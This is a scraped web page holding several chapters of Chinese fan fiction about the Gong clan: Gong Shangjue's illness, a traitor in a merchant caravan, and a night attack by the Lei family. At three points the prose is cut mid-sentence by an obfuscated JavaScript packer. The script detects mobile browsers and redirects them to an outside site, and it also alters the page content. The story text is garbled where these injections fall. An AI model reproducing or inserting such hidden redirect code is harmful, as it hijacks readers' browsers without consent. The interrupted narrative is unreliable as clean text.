结果是那两位走得多多少少带些怨气。看着他们的背影,宫子羽这才想明白,人家也许未必真的想来,架不住他们的代执刃大人实在是个操心的命。 博山炉里的沉香堪堪燃尽,而操不完心的角公子果然又在研墨。 宫子羽眼疾手快地夺去那支紫毫笔:“你歇会儿行不行?……” 宫尚角很是无奈:“不是。既然答应了要增派工匠,就要尽快落实。我这里签发一份正式文书,你给紫商大小姐送去。” 他说罢,便伸手打算将那笔要回来。 宫子羽正不知给还是不给,屏风边的金繁忽然开了口:“不用麻烦,你姐姐说她一会儿就来。” “你怎么知道?你这两天又偷回商宫了?”难怪他刚刚要跟进门,宫子羽醒悟过来。 “别!角公子让我寸步不离地守着你,我可没偷过懒——是她的绿玉侍说的。” “她又来干什么?”“她最近是不是来得太勤了?” 嗬,这会儿可真是团结。 金繁翻了个白眼,解释道:“倒不是她非要来,而是云为衫突然又出谷去了,临走前说了个不得了的消息——有个人回来了,而且已经进了旧尘山谷。” 宫子羽瞪起一双铜铃大的牛眼:“这个时候,你能不能别卖关子?” 宫尚角却像是早有准备,只是平静地点了点头:“我知道。我已让远徵去接了。” · · · (十八) 四季轮转,又入芜冬。 上官浅没有见过旧尘山谷里的雪。印象中,大雪会将万物裹上惨淡的白,群峦环抱中的山谷本应一派萧条,可眼下,谷中街市依然熙熙攘攘,人声鼎沸,即便有一支几十人的大商队浩浩荡荡经过,也未曾惹人驻足。 上官浅一袭黑色劲装,混迹在人群之中,观察着那支商队:他们的人都穿着便衣,没有暴露身上的武器,但每个人举手投足间都带着精干强悍的气息,一看便知并非寻常商客。他们运送着沉重的箧笥箱笼,却仍然健步如飞,而行进的目的地也很明确,那便是江岸边的码头。 ——四年前,她就是从那里乘着花坊顺流而下,飘入那道万仞高墙,而墙的另一端,是一段九死一生的过往。 她并不怀念那段时光,又或者说,能让她偶尔顾念起的并不是时光。 而她,也绝不是为那段过往而来。 她压低头上的斗笠,正打算混进商队队尾,忽觉肩头被人一把按住。 诧色被不着痕迹地抹去,她回过身,绽开甜美笑颜:“云姐姐,好久不见。” * 雪遁寒江,万籁俱寂。 宫远徵抱臂站在码头边,将自己的孤影嵌入雪景。他印象中,旧尘山谷不常落雪,一旦降下大雪,便说明这个冬天必定又长又冷。他贪凉喜静,冬天一向是他最衷爱的季节,但绝非四年前那个冬天,也万万不会是此冬。 江面荡起凛冽的风,他笼紧身上的狐狸毛披肩,注视着商队从白茫茫的雪雾中现身。 领头的人一眼便看见他,于是带队加速朝他奔来:“徵公子,您怎么来了?角公子说……” “我不是来接你们的。”宫远徵迅速挥手将他打断,再开口时忽抖开袖底,瞬间暴出数道寒光,“我是来接她们的!” 寒光破空,穿过商队间隙,直击与队尾相隔几丈的黑影。 那两道黑影倒是十分默契,一左一右腾开,右边的人扔出斗笠,将那十七枚透骨钉打着圈全部收了去。 “徵公子怎么仍同四年前一样,一点也不怜香惜玉?” “远徵弟弟明知是我,也不肯手下留情?” 说话的两名女子都穿着黑衣简装,但面容精致,肤白胜雪,是这些江湖客不曾见过的貌美。商队中的人一时都有些看呆了。 只有宫远徵露出一缕阴沉的笑意:“这怎么能叫不怜香惜玉?分明是我送给两位姐姐的冬月小礼。” 云为衫拾起地上斗笠,走到他对面递出去:“冬月的礼等到冬至再送也不迟。我们还是尽早回去,免得角公子等得着急。” 商队头领立即反应过来,朝身后的伙计大吼了一嗓子:“还等什么?搬东西上船,回宫门喽!” “——罗统领,别心急!” 宫远徵便在这时再度甩出手中斗笠,那十七枚透骨钉纷纷脱出,一齐扎向率先行动起来的“伙计”。与此同时,十几名手拿劲弩的宫门侍卫从码头两侧的望楼闪出身形,居高临下威慑住整个“商队”。宫岸角和金复一左一右从船坞的顶棚上跳下来,与宫远徵三人呈掎角之势,逼近那名头领。 姓罗的统领一见不妙,转身想逃,却发现上官浅和云为衫手持短剑,就站在他身后。 宫三公子的声音浸透了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240027|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷意:“接人的事我已经办完了,接下来,就该解决你们了!” * 宫子羽原本还在奇怪,往年间几十人往上的宫门商队,基本都要等到冬至前后才会陆续返程,而今年的第一支队伍却在仲冬上旬赶上了旧尘山谷多年不遇的大雪。 他本以为这只是个不大好的兆头,可谁知—— “好家伙,角宫的商队竟然也会出奸细?” “你什么意思?”角宫的宫主掩口轻嗽两声,对这个评价似乎很不满意。 宫子羽撇了撇嘴:“意思是,连跟了你十几年的老统领都能被雷家堡收买,你怎么还敢相信上官浅?” “我不信她。但她想报仇,她没得选。”宫尚角沉着眼帘,睫毛在眼睑下方浓成一道阴影。 “那阿云呢?她何时也成了你的人?” “依眼前形势,倒戈一击并不能改变局面,她也没得选。” “所以你是故意让上官浅联系她?” “我只是想试试,旧尘山谷里到底还有没有我们不知道的无锋联络点。” “结果呢?” “先前与云为衫在一起的寒鸦没有再出现。” 宫子羽拨弄着炉火,在翻涌的热浪中用力眨了眨眼。 “你开始相信她是真的云为衫了,是么?”宫尚角的问题忽然尖锐起来。 “依你看呢?”这已不知是宫子羽第多少次询问角公子的意见。 宫尚角仍旧垂着眼:“隐居宫门二十年的雾姬夫人也是无锋,跟了我十几年的老首领依然可以被策反。深渊有底,人心难测。我这里没有问题的答案。” 他看上去很疲倦。这么多年里,这好像还是宫子羽和金繁第一次在他的脸上看到有心无力之感。 他们心里很明白,如果宫尚角的身体还健康,如果此刻他还活跃在宫门之外,那么今日的叛乱或许根本不会发生,或者说,他根本不会被逼得在家门口解决这样的叛乱。 片刻之间,宫尚角将眉头蹙得更深。渐渐急促的呼吸似乎加速了血液运转,在他额心划下一道竖向的青筋。 “你到底是哪里不舒服?……就这样你还敢把远徵弟弟、宫岸角和金复都派出去?!” 宫尚角的语气倒是万分淡定:“有角宫的侍卫队跟着呢。他们三人不缺实力,缺的是大战经验,而恰好,云为衫和上官浅都很有经验。” “宫子羽说的是你!”金繁一针见血指出被刻意回避的问题,“如果这时有人来袭,你怎么办?若不是宫远徵一大早来传讯,你是不是打算一个人扛着?……就非得把自己折腾死了,让整个宫门的人对着你哭,你才满意?” “金繁!” 宫子羽是金繁见过最好脾气的主人。在他还是个吊儿郎当的公子哥时,金繁没少骂他,他几乎从不生气。但此刻,宫子羽的目光却透着少有的凌厉。 其实金繁又何尝想说出这么“恶毒”的话,只是他和他们一样,都见不得自己爱的人伤心。 好在他爱的人懂他的心。 宫紫商怀抱一支烟花筒,带着夸张的表情雄赳赳、气昂昂地跨出屏风,顿时将刚刚略微焦灼的气氛抹了个一干二净:“怕什么?现在这个屋子里有整个宫门武力最高的人,有前山最厉害的红玉侍,还有最英明神武的商宫宫主大人!我就不信,有人敢来找麻烦!” 颞顬在跳,颐颊在烧,繁绪化作血丝,蔓过宫尚角发赤的眼角。 但似乎,一切没有他想象的那般难熬。 当然是他让宫远徵给羽宫传讯,否则那黏人的弟弟怎么肯放心地离开。自然也是他授意云为衫通知宫紫商,虽然他本意是想提醒大小姐,保护好自己和商宫里的老幼残。 运筹帷幄的角公子怎么可能猜不到,他派出三个人,依然会有三个人坚定地站在他身前。 ——他所守护的人又何尝不是在守护着他。 宫尚角眼睁睁瞧着宫紫商抱着那烟花筒冲过来,只觉得眼前天旋地转:“我的亲姐姐,你能不能把山摧拿远一点?我还不想死呢……” 11. 十九 (十九) 雪似轻絮,悠悠飏飏。他垫脚够出窗去,用掌心接住一朵六菱形的雪花。 “病还没好,怎么又在贪凉?”廊下的女子眉目如画,语声清朗。 她隔着窗户宠溺地点点他的眉心,随后推门进来,将食盒放在案上:“快来吃饭吧。今日有素什锦、炒青笋、香芹豆干和莲藕排骨汤。” 他嘟着嘴,不大情愿地走过去:“娘,怎么都是素的?我不喜欢吃素的。” 泠夫人轻柔地拍了拍他的脑袋:“乖。荆芥先生说了,你就是上火了才会生病,要多吃些青菜,降降火。” 他乖巧地帮着母亲布好碗筷,却仍旧是一脸的不开心:“可是执刃说了,只有心火最旺、体质最强的人,才能练成宫门的至阴心法苦寒三川经。我好不容易才突破第三重,要是把心火都化没了,还怎么练呀?” 泠夫人半是惊讶半是骄傲地看向那个刚满九岁的孩子:“我们尚角可真厉害,这么小小年纪,就能将这么难的心法练到第三重啦?” 他点点头,老成持重地在食案边坐下:“我一定要学好武功,做整个宫门最强的人。爹爹不在了,以后我就是角宫的顶梁柱,我一定会保护好娘,保护好大家!” “……对了,朗弟弟呢?” * 风拂铎铃,悠悠扬扬。他从梦中惊醒,无声地吐了口气。 怎么会突然忆起这么久远的事呢……? 冰凉的手指抵上灼热的前额,他感觉自己浑身都在发烫。竟然是发烧了么…… 屏风已被摆在榻前,遮挡寒风的同时也遮住了他的视线。 他头脑昏沉,感官也变得十分不敏,只能隐隐分辨出这屋子里还有其他的人。 直到那些人开始说话,将如同瓮罐子里发出的人语声声递进他耳朵里—— “风寒?你这医案没写错吧?你确定只是风寒而已?” “宫紫商,你能不能离月长老远一点?” “……咳,那个,是风寒没错。角公子是因为身体太过虚弱,才会突然昏过去。” “嗐!吓死我了。我就说,我的山摧也没那个威力啊!” “嘘!姐你小点声行不行,别把他吵醒……不过他好像不怎么说梦话了。” “那有什么用?宫远徵气都气跑了。” “他气的是这个吗?他气的是你们这两头蠢货,看不好一个病人吧?” “切!你进来这么久,也没看出他发烧啊!……” 三人又互呛了几句,月长老大约是听不下去,换上更正经的语气:“其实,身体发热,对现在的角公子或许不完全是件坏事。” 宫子羽的注意力马上被重新拉回来:“什么意思?” “发热分为内外两性。外感发热说明邪气入侵,体内正气与外邪相抗,本身便是生机尚可的表现。换个更好理解的说法,高温总好过失温,角公子若是在大半月前遇上这般寒邪,恐怕就真要撑不过去了。” “你是说宫尚角的身体已经好起来了?”宫紫商的声音中多了一丝雀跃。 “这……倒也不是这个意思。”月长老似是有些为难,酝酿半晌,才续说下去,“外感发热虽是好事,但角公子的病症本身,却并非由外而起。” 通过月宫试炼的宫子羽在三人中最懂医理,他循着对医书的记忆,补上月长老未尽之意:“发热分为内外两性。外感发热,是寒症。内伤发热,是,是毒症……那玄丹到底是什么毒,怎么会这般厉害?” 月长老叹了口气:“这个,我答应过角公子,不能告诉你们。这玄丹配方,从此以后,我也不会再告诉任何人。” “……那远徵弟弟知道么?” “知道。但徵公子要解此毒,就必须亲身试毒。角公子不答应。” “不答应就对了!这个已经这样了,要是再来一个……” “宫紫商!” 大门被“砰”得打开,弟弟的音色将宫尚角从那瓮罐子猛地拽出来。 他再也忍耐不住,在乘虚而入的冷风中剧烈咳嗽起来。 “哥!”“哥!” 叫哥的不止一个,但冲到榻前抱住他的只有那一个。 他看着弟弟泛在眼睛里的泪花,失笑道:“怎么又哭了?月长老都说了,只是风寒而已。” 于是弟弟回过头剜了一眼屏风边的那个弟弟:“哥光听月长老的,怎么不听我的呢?我说了宫子羽不行,他照顾不好你!” “……什么叫我不行!”宫子羽是好脾气,但他并不是没有脾气,尤其是当着此刻已跟进角宫主室的云为衫和上官浅。 他目光一动,迅速有了回击的主意:“我是不会诊病,可那也好过你猛下禁药,拖累得尚角哥哥犯了心疾!” 他说着一掌拍在屏风上,将那块厚重的乌木硬是挪开数尺。屏风前后的人猝不及防打了个照面,彼此露出半分不备的局促。 “……你说什么?!”唯有宫远徵囿困于那句话里,用细微的身体战栗和失措的目光辗转传达他此刻的震惊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宫远徵却不与她周旋,直截了当地问出关键:“你有解法?” 他仍低头坐在塌边,暴露着优美的下颌和半张清秀的侧脸,面上虽已无遽色,神情却是明灭不定。 上官浅很快摇了摇头:“我没有。但大赋城上官家世代名医,因的是有八册名为《金匮遗方》的镇宅医典。我才学不精,只是略略翻过,已觉其中的妙药奇方精彩绝伦,是其他医书中见所未见。若是月长老和徵公子这样的行家精心研读,或许就能从中找出玄丹的解毒之法。” 她踏出几步,来到榻前,信誓旦旦地抛出手中筹码:“我可以交出医典,甚至可以配合徵公子试毒,但我,需要角公子的一句保证。” 榻上的人此刻双颊烧得绯红,但仍旧目如星火,深邃、沉静:“什么保证?” 上官浅定定看着他的眼睛:“保我不死,保我做宫门的执刃夫人。” 12. 二十 (二十) 他从雪中走来。 清晨时刚刚扫净的木阶,转瞬又蒙上一层白霜。他将冰渣踩在脚底,碎成空洞孤寂的跫音。 这条连通徵宫与医馆的湖上栈桥他日日往来不辍,往时伴着朝霞去,今日踏着晌雪归。 宫子羽盼到他时,徵宫主人发尾结着冰晶,似是一夜间被大雪催白了青丝。 “远徵弟弟,听下人说,你昨夜宿在医馆了?” 宫远徵对前任执刃的突然到访不甚惊讶,绕过他推门走进徵宫前厅。 茶案上早已摆好一只温食盒,宫子羽趁机跟进门打开它:“我想你一定饿了,特意让羽宫的小厨房送了新做的豆花。蘸水用糍粑海椒淋上熟菜油和木姜油,搭配旧尘山谷百年老店兴福斋秘制的酱油更是一绝——你其实是喜欢吃辣的,对吧?” 雪中的徵宫冷得如同冰窖,天井中合抱粗的大树覆着寸余白絮,散发出冷冽气息。屋内整宿无人,自然也没有点灯生火,御寒的暖帘半垂半卷,透进日光,也渗透着屋外寒意。 温食盒中的热水片刻功夫便凉下来,宫子羽捧着没了温度的青瓷碗,一时不知还要不要递过去。 所幸宫远徵很快接了那碗,将蘸水碟子一股脑全浇进去。 他果然喜欢吃辣。宫子羽自注意到这点便一直很奇怪,角宫里的清淡饮食他如何做到每日甘之如饴。 无论如何,见示好有效,宫子羽马上乘胜追击:“我来道歉,昨日我不该那样说你。是因为上官浅突然到了,我……” “你想故意激化矛盾,好让她觉得有机可趁——我或许不是个傻子,羽公子。”宫远徵拌着凉透了的豆花饭,从称谓里透着生分。 不过宫子羽总算松了口气:“那就别较劲了!我知道上官家的医典都已搬入宫门,可是卷帙浩繁,不是一朝一夕就能找到解法。月长老闭关研读去了,此刻你若倒下,尚角哥哥可怎么办?” 宫远徵无情吞下一大口辣,表现得出奇冷静:“首先,医馆里有那么多大夫,我徵宫之下没人敢尸位素餐。其次,的确是我胡乱用药,才牵出哥四年前的旧疾。既然错在我,那我便新病连着旧患,一并治好他!” “……旧疾?” “嗯。需不需要我提醒一下前执刃大人,四年前,地牢外,哥心脉初损,是在谁掌下?……” 宫子羽顿时哑然。他当然记得劫牢救云为衫时假戏真做的那一掌,当时他并不知道宫尚角正在蚀月之际,因而没有特别顾及。 “哥自然也不会告诉你,与无锋大战之时他的身体尚未痊愈,寒衣客垂死挣扎那一掌,差点要了他的命!可就是这样,哥还是让我把最后一朵出云重莲给了你,自己却向月长老求了当时刚刚研制出来、还在试药阶段的玄丹…… “早知道会演变成今天这种局面,我打死也不会把出云重莲交出来!” 骤风搅雪,灌入天井,弟弟的声声控诉如同冰锥扎进宫子羽心里。 他怎能忘记那道在逆光之中坠落的身影。人说血溅三尺,在此之前,他从不知从胸腔中喷出口的热血真能溅起三尺有余。 ——他从不知,那向来如钢铁般坚韧无畏的人,也不过生了具脆弱易折的肉身凡躯。 “现在你明白我是什么心情了吗,宫子羽?” * 骤风搅雪,灌入袖领。 他从雪中归来,在廊前碾碎脚下冰晶。 宫岸角持刀倚在角宫主室的檐柱边,见他到了便亮出手来:【醒着。】 人没在屋子里,至少说明他哥的状态还算稳定。他稍稍松了口气,但旋即又提起一颗心:“上官浅呢?” 【还在睡。】宫岸角犹豫了片刻,将手势继续打下去,【昨夜金复不在,是她在陪。】 他厌恶地皱起眉,不置一词地推门走进去。 屋子里暖意融融,萦着烟气。 他绕过屏风,一眼看见角宫主人身披大氅,坐在书案后安静地审着一册账簿。 他停在墨池边轻轻唤了一声,那人才恹恹抬起头:“来了?” 曾经的宫二先生能在闹市中听到一根绣花针落地,能在毫无防备的情况下避开他从机括中射出的三十三枚不同暗器——他的哥哥本应在他立于廊下时便叫他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但只一瞬,所有的情绪都烟消云散。 有侍女敲门进来,在宫尚角面前放下一碗白粥,又将整整一托盘热腾腾的菜肴摆上桌案。 一盘盘红彤彤的大菜看得他眼睛发直,明知哥哥吃不下重口的东西,还是要问:“这菜量也未免太大了,哥也陪我吃些吧……?” “我可不吃这么辣的。”宫尚角搅着手中白粥,似有若无地笑着,“去把宫岸角叫进来,让他陪你。” 13. 二十一·二十二 (二十一) 天色晦暗,远山流岚化作雾霭,幽幽散入宫门深宅。 角宫后院仍覆着冰雪,冷月不时遁出云雾,无声向寒池洒落青光。 有人展动身形略过曲槛回廊,翻越正堂脊顶,无声落于檐下。须臾后,那人抬手击昏门口侍卫,将门敲响。 “进。”说话之人声音极低,嗓音清冽。 门被推开,荧烛在乱流中熄灭,只余屋内一对寒芒投来,将墨池前的人影无尽拉长。 “——角公子,你,冷么?” * 下雪的冷,浮于肤表。化雪的冷,砭人肌骨。 十年不遇的大雪总算在冬月中旬落下帷幕,但接踵而来的湿害冻害不仅令旧尘山谷里的百姓叫苦不迭,就连宫门里一群号称铁打的人也纷纷开始抱衾烤火,闭门不出。 身强体健者尚且如此,一身枵骨之人只有倍加难捱。 宫尚角在这天寒地冻中烧得反反复复,又吃不下什么东西,短短几日便似又瘦了一圈,急得宫远徵和宫子羽到处找退烧的法子,倒是再也不敢不来。 “我去后山问过了,月长老也没有更好的办法,只让我们时时照看,谨防高热神昏。” 宫子羽缩在挹娄貂制成的重裘里,在角宫正堂廊下来来回回踱着步子。 宫远徵几乎将眉头拧成死结:“这跟没说有什么区别?上官家的医典他看了这么些天,也没看出什么名堂来?” 宫子羽明白他实则并不是在恼月长老,感同身受地在弟弟肩头拍了拍:“你也不要太心急。月长老说,既然持续发热是因毒所致,若能扛下这关,或许就会有转机。” “说得轻巧!哥的五脏六腑本就有衰竭之征,若再这么烧下去,耗尽气血,便会彻底断了生机。到时即便找到解毒之法也是回天无力!” 他言之切切,不觉间放大了音量,上官浅便在这时推门出来,直勾勾望向两个忽然噤声的人:“角公子让我问问两位公子,大冷天站在门外不进来,可有什么话是他不能听的。” 屋内应是极热,她一身单薄轻衫,凝着一双秋水般的眸子,与全副武装的两人格格不入。 “不是哥哥听不得,而是怕被有脏心思的人听了去!哥哥的身体,还能再被她坑几回?”宫远徵把话说得夹枪带棒。 上官浅抿着嘴轻笑起来:“那徵公子可就太小瞧你哥哥了。只要角公子不想,从来没有人能从他的手里讨到便宜。他对自家人容忍惯了,你们便以为江湖人对他的敬畏是假么?” 她收敛笑意,目光流转,闪动着精明:“所以这一次,我宁愿选择做他的自家人。” “少自作多情!” 口舌之争已然无谓,宫子羽将宫远徵一拉,说道:“别在外面挨冻了,进去说罢。” 然而上官浅却没有马上移步,仍旧瞬也不瞬地盯着两人:“既已是自家人,我还是想多提醒两位公子一句:雷家堡和无锋都还在旧尘山谷之外虎视眈眈,一旦大雪解封,必定会有一场鏖战。角公子再厉害,眼下也还病着,自顾尚且不暇,你们总不能事事都指着他一个人!” * 上官浅一语成谶。三日之后,宫门果然遭袭。 是夜流云遮月,高墙间的夹道内一时伸手不见五指,唯有江门附近警戒塔上的灯笼闪着刺眼红光。 宫子羽与金繁带着一众侍卫,将试图夜袭商宫火药库的贼人逼入绝路。宫岚角和宫岸角从他们后方略上来,翩然落在绝壁之下。宫远徵最后才在墙头现身,从一双精巧的金丝手套间亮出一大把森然暗器。随着他举手示意,女墙边人头攒动,灯火齐明,成排的弩箭闪着银光伸出垛口。 “宫子羽,宫远徵!”领头的贼寇面露惊遽,显然没有料到宫门里的人行动如此迅疾。 “哦?看来你认得我,那就好办了!”宫远徵暗器脱手,旋着劲风卷进人群,所到之处贼寇应声倒地。 “——远徵弟弟,留活口!” 宫子羽提醒了一声,自己也提起手中玄刀,却听见领头的人一阵桀桀怪笑:“不劳费心,我们宁死也不会落在宫门手里!——你们真以为我们雷家人看得上宫门的火器?” 与此同时,远处突然传来一声响箭,宫子羽心头一凛:“糟了!角宫危险!” 宫远徵哪用他提醒,弹出袖箭击落领头之人手中火器,人转瞬已在数丈之外。 * 天色晦暗,流岚化作雾霭,散入深宅。 角宫正堂大门被人用内力震开,强劲的内息伴着上空响箭喷薄而出,瞬间熄灭屋中所有火烛。 墨池波动着宫尚角眼中寒芒,来人感受到他微弱的气息流窜,即便方才她的内力根本没沾到他身上。 他似乎更瘦了,墨色大氅之下像是藏着一具枯骨,稍微动一动便会散架。 所以她不再犹豫,大步流星地踏进屋来:“将所有人手调去商宫,是子羽自己的主意,还是角公子的安排?” “你说呢?”书案之后,宫尚角一动不动。 “你怎知他们会袭击商宫?” “我在赌。” “赌什么?” “赌他们不知道宫门内部的情况。” 眼见来人步步逼近,绕过池水,行至中途,宫尚角依然声色不动:“毕竟在外人眼中,羽宫失势,角宫防守最为严密,徵宫里的东西他们轻易不敢碰,剩下的便只有商宫和后山。” “你赌赢了?” “我当然赌赢了。你以为我会输?” “这个么,试一试才会知道!” 来人便在这时忽然出手,以指为剑,直取宫尚角命门。宫尚角广袖一挥,瞬间全身内力暴涨,两股至阴内劲猛然相撞,刹那间将书案四分五裂。 一时间冰渣裹着木屑,雨点般袭向墨池方向。 来人根本未曾设想后招,波澜不惊的眼中终于现出异色,跃出墨池躲过一阵猛攻,回身出第二“剑”时已然动了真格。 一袭白色轻衫匆忙自屋外飘来,挑出真剑,试图将人拦下:“云姐姐,到此为止吧!” 两人相接一瞬已过数招,云为衫调转攻击目标之后不再留手,手中虽无武器,指锋之下的清风九式剑却完全不落下风。 上官浅越攻越急,正待再发响箭求救,宫远徵的暗器已先人一步加入战局。 看到弟弟赶来,已然是强弩之末的宫尚角蓦地心中一轻,终于喷出一口鲜血,如断线纸鸢般坠向墨池深渊。 · · · (二十二) “不要害怕。” 二十年前仲冬,狂风肆虐,恍如伥鬼叩门。 刚满四岁的宫子羽被凄厉夜风吓得哇哇大哭,父亲伸出粗粝的大手,揉着他皱成一团的小脸:“傻孩子,这世上哪来的鬼?就算有鬼也不要害怕,有爹爹在,爹爹会永远保护你!” “别哭呀,傻弟弟。” 十七年前仲冬,七岁的宫子羽兴冲冲捧出糕点,想要瞧一瞧宫远徵手里的小蝴蝶。四岁的小人儿什么都不懂,偏学着其他大孩子喊他“野种”。 他气得将自己关进小黑屋,唯有半大的少年追进门来:“下次谁再惹你,便告诉哥哥,唤羽哥哥替你出气!” * “不要害怕。” 十四年前仲冬,挽幛高悬,天边降下鹅毛大雪。 七岁的宫远徵不哭不闹,长坐阶前,直到哥哥在他身边蹲下,替他拂去与素服一般皑白的积雪:“在我面前,你可以哭,也可以笑。不要害怕表达自己,无论你想说什么,我都会听。” “乖,别怕。” 十二年前仲冬,十九岁的宫尚角点齐人马辎重,第一次离开宫门。 怀里的小家伙哭得像个泪人,宫尚角又心疼又好笑地敲敲弟弟光洁的额头:“我只去半月,冬至之前必定回来。你若害怕,就摇一摇铃铛,哥哥听到铃声便来寻你。” * “你在怕什么?” 十一年前仲冬,商宫老宫主宫流商喜得贵子,整个宫门都来道贺,唯独宫紫商笑得勉强。 二十岁的宫尚角跟着二十岁的宫紫商步出正厅:“我们答应过父辈重振宫门,三年不行,二十年行不行?你弟弟才刚出世,待到他能自立,你若还不能兑现承诺,那才真教你的父亲寒心。” 十年前仲冬,宫紫商又一次失手炸了商宫研究室,被罚去长老院禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240030|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭思过。夜里宫子羽和金繁偷偷放她出来,三人蹑手蹑脚往外走,好巧不巧正撞上宫尚角。 宫尚角静静让开一条路,宫紫商如蒙大赦般溜过去,忽听见背后传来清冷的声音:“听说炸毁不少东西。你若缺材料,可以去问问角宫的库房管事……不过硝石除外。” * “不要害怕!” 八年前仲冬,十六岁的宫子羽第一次溜出宫门,因行事太过惹眼而被旧尘山谷中的无锋眼线盯上。 宫尚角收到暗哨传信赶来救人,手起刀落解决几名刺客,回过身时却发现眼前少年对着那些尸体发怔:“几个死人是挡不住去路的。路还很长,你不能在这里就停下。” 四年前仲冬,宫子羽走进地牢,与宫尚角冰释前嫌,想要宫尚角陪他演一场大戏。 宫尚角眼中不无忖度,让宫子羽对自己这漏洞百出的计划产生怀疑,但对方最终坚定地点了点头:“无论如何,我会配合你。你不必顾虑,放手去做便是。” 四年前仲冬,大战平息。宫门百废待兴,宫子羽繁务缠身,每日过得战战兢兢。 宫尚角不厌其烦为他解答疑难,却发现这弟弟实在来得太勤:“你是执刃,不必事事都来询问我的意见。这世上本就没有万全之策,不要害怕做错决定。” * “不要害怕……” 七年前仲冬,宫远徵跌跌撞撞奔向从大门口疾驰而来的马车。车上血腥味浓重,他手足无措地检查哥哥的伤势,将身上、脸上弄得到处是血。 宫尚角用仅存的力气拉住手忙脚乱的弟弟:“别着急,你先去医馆,让他们做好准备。再回去换身衣服,将脸洗一洗……不要害怕,我不会死……” 四年前仲冬,碎瓷片扎进宫远徵心口,身体坠落,铃铛响起,他第一次在哥哥眼中看到那般仓惶失据:“远徵别怕,不要害怕……还愣着干什么?快送他去医馆!” 四年前仲冬,与寒衣客殊死一战,宫尚角重伤昏迷,宫远徵撕心裂肺地喊着哥哥的名字,直到听见他气若游丝的回应:“远徵别怕,不要害怕……我既然答应过你,就绝不会死。” * “——不要害怕。” 怎么可能不害怕呢?…… 死人不会挡住他的去路,但是宫尚角可以。宫子羽怕极了自己的错误决定会将他害死。 哥哥答应过他不会死,可是宫远徵眼睁睁看着那具轻似鸿毛的身体轰然倒下,心里怕极了哥哥这一次再也不能信守约定。 她在怕什么?宫紫商也不知道自己在害怕什么,可她怕极了。上一次这么害怕,还是四年前金繁在她怀中奄奄一息。 金复跪着,跪得五体投地,心中万分悔恨自己怎会这般大意,连云为衫何时出现在他身后都不曾觉察。 宫岚角和宫岸角站着,他们这两年时常陪伴宫尚角左右,不知经历过多少次凶险,可唯有这一次,真正让他们感到心有余悸。 上官浅明白那种心有余悸。云为衫远比她想的要强太多,如果真下死手,她不仅留不住宫尚角的性命,也保不住自己的命。 后来就连花长老和雪长老也闻讯而至。花长老心急如焚地墩着拐杖,把眼前一群小辈们数落得鼻子不是鼻子、脸不是脸。 长夜将近,远方警戒塔上的红色灯笼仍未撤去。 角宫庭中的月桂覆着冰雪,化雪的冷,渗进人骨子里。 “不要害怕。”云为衫已被五花大绑,振振有词地将同样的话又重复了一遍,“我的云锦心经与角公子修习的心法同属至阴,无法像当初助子羽疗伤时那样阴阳融合,但既然已确认是后山风氏绝学,应对任何宫门心法皆有辅助之效——如果不出意外,角公子再过一刻便会醒。” 她望向宫子羽,噙着柔肠百转的情意。 宫子羽低下头,沉吟不语。 东方拂晓,太白启明。 角宫正堂大门洞开,那道久违的人影形销骨立,但在月长老的扶持之下,仍然身姿笔挺。 “角公子赌赢了。”云为衫笑起来。 那人似乎点了点头,在天际微光中微微摇曳身影:“不过,还有一个问题:你怎知我的溯雪绝成于今日?” 14. 二十三 + 番外一 (二十三) 朔风荡雪,除恶务尽。 商宫外一战,宫门做了十足准备,几乎出动前山所有主力,给了雷家堡惨痛一击。他们的领头者是雷家最有实力竞争下一任堡主的“小寒神”雷倦,他最终没能活着离开,连同跟随他袭入宫门的四十一人一道葬身于雷家自己的火器。 宫门于天明时放出消息:雷倦是烧死的,死后化为磷火,尸骨无存。 角宫里的残雪也被铲得彻底。 叛变的“玄”字号商队中,十七名雷家刺客和八名负隅顽抗的伙计已在宫门外就地处决,另有十三人被废去武功,剜去耳目,送入后山三宫为奴。统领罗霄倒是铁骨铮铮,在酷刑与剧毒的双重压迫下撑至最后一刻,才曝出妻儿老小皆在雷家手中,并以家人性命相托,交代一切都是雷家堡二把手雷陨授意。 “看来这个雷陨有篡权之心,雷家堡近来倒向无锋多半是他在搞鬼。雷倦是被他坑了。” “被坑的又岂止是雷倦。经此一役,宫门与雷家堡便算是彻底结仇了……” 宫子羽抬手将宫尚角打断,后面的话他听都不必听:“别说了,我知道你又该骂我了……” 宫尚角被他臊眉耷眼的模样逗笑:“我没说你做错了呀。” 宫子羽怔了怔:“你不怪我没留活口?” 宫尚角真诚地摇摇头:“记不记得我与你说过,这世上本就没有万全之策。抢出火器的办法不是没有,但代价绝不会比现在更低。” “代价么……” 宫子羽微微眯起眼睛,忽从缺了案几的氊席上站起身:“既然你提起了,那我们不妨说道说道……” 墨池边散落着书案残骸,他迈开一双长腿跨过重重障碍。衣袂翻卷,搅动着屋内冷热不均的气流,引得宫尚角又开始咳嗽。 